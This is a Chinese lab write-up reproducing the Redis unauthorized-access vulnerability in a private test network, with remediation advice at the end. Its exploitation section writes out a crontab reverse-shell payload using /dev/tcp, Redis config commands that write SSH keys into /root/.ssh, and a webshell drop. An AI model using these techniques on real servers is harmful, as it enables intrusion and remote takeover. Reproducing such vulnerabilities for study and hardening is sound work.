Redis未授权访问漏洞复现

一、漏洞描述

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞的产生条件有以下两点:

(1)    Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2)    没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

二、漏洞影响版本

Redis 2.x,3.x,4.x,5.x

三、漏洞危害

(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据

(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器

四、漏洞环境搭建

靶机:ubuntu 16.04  192.168.10.134

攻击机:kali 192.168.10.138

1、靶机安装redis服务器(redis-server)

1.1下载redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

  

1.2、解压,进入源码目录,然后编译(make、make install)

  

  

1.3启动服务(redis-server)

1.3.1启动redis服务,注意关闭防火墙,Ubuntu除了iptables机制,还有ufw安全机制

  

1.3.2启动redis-server服务

  

1.4查看是否启动了redis-server服务

ps -ef |grep redis-server

  

2.kali安装安装redis客户端(redis-cli)

2.1下载redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

2.2 解压,编译

  

2.3测试redis客户端是否安装完成

  

五、漏洞复现

1、测试目标靶机是否存在未授权访问,下图说明靶机存在未授权访问,导致信息泄露(注:由于redis-4.0.10版本中配置文件默认已经启用了保护,下面将使用redis-2.8.17)

  

利用方式1:写入webshell

利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限

2、把shell写入到网站根目录下(/var/www/html/)

  

3、在靶机上查看是否写入了1.php文件

  

4、浏览器访问http://192.168.10.139/1.php,发现在目标靶机成功写入webshell

  

5、写入一句话木马

  

6、菜刀连接, 注:在ubuntu环境测试,菜刀一直解析不到上传的木马

  

利用方式2:通过写入SSH公钥实现SSH登录

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

7、首先在攻击机(kali)上生成ssh公钥

  

8、将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

  

9、再把key.txt文件内容写入redis缓冲

cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub

  

10.1、设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)

  

10.2当目标使用过ssh服务之后,就会产生.ssh目录了,然后进行如下操作

  

11、测试是否可以通过ssh登录目标服务器,成功登录

  

利用方式3:在crontab里写定时任务,反弹shell

12、在客户端开启监听(kali攻击机)

  

13、在客户端(kali攻击机)使用redis-cli连接redis服务器,写入反弹shell

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.140/5555 0>&1\n\n"

config set dir /var/spool/cron

config set dbfilename root

save

  

14、1分钟后客户端这边收到centos的反弹shell,注意:在ubuntu测试计划任务写入成功但不执行

  

15、在目标靶机(centos)上查看计划任务

  

六、修复建议

1、禁止外部访问Redis服务端口

2、禁止使用root权限启动redis服务

3、配置安全组,限制可连接Redis服务器的IP

-------------------------------------------------------------------------

参考: https://www.freebuf.com/column/158065.html

https://www.freebuf.com/vuls/148758.html

redis安装: https://www.jianshu.com/p/2f53c9a4b4c6

最新文章

  1. URL
  2. jquery-lazyload延迟加载图片
  3. SQL Server2005清除数据库日志
  4. [转]10个有关RESTful API良好设计的最佳实践
  5. react-基础(1)
  6. Azure Site Recovery:我们对于保障您的数据安全的承诺
  7. VC实用小知识总结 (一),转http://blog.csdn.net/myiszjf/article/details/10007431
  8. js基础参数获取
  9. 内存管理 (C++)
  10. cura-engine学习(3)
  11. [转]Pig与Hive 概念性区别
  12. 洛谷P3369 普通平衡树
  13. 20175208 《Java程序设计》第八周学习总结
  14. 手绘raft算法
  15. Azure系列2.1.8 —— BlockEntry
  16. 基于Kafka的生产者消费者消息处理本地调试
  17. common lisp 里的几个操作符(2)
  18. matlab知识
  19. codeforces279B
  20. laraval一键安装包的下载地址

热门文章

  1. hdu 4614 Vases and Flowers(线段树)
  2. ☆1003 Dijstra
  3. Promise then中回调为什么是异步执行?Promise执行机制问题
  4. 单细胞转录组测序数据的可变剪接(alternative splicing)分析方法总结
  5. Java并发包下的几个API
  6. 深入理解SQL Server数据库Select查询原理(一)
  7. Zabbix4.2对IIS监控摸索记录
  8. Microsoft Office 365的安装
  9. 4.Sentinel源码分析— Sentinel是如何做到降级的?
  10. 致初学者(三): HDU 2033~ 2043题解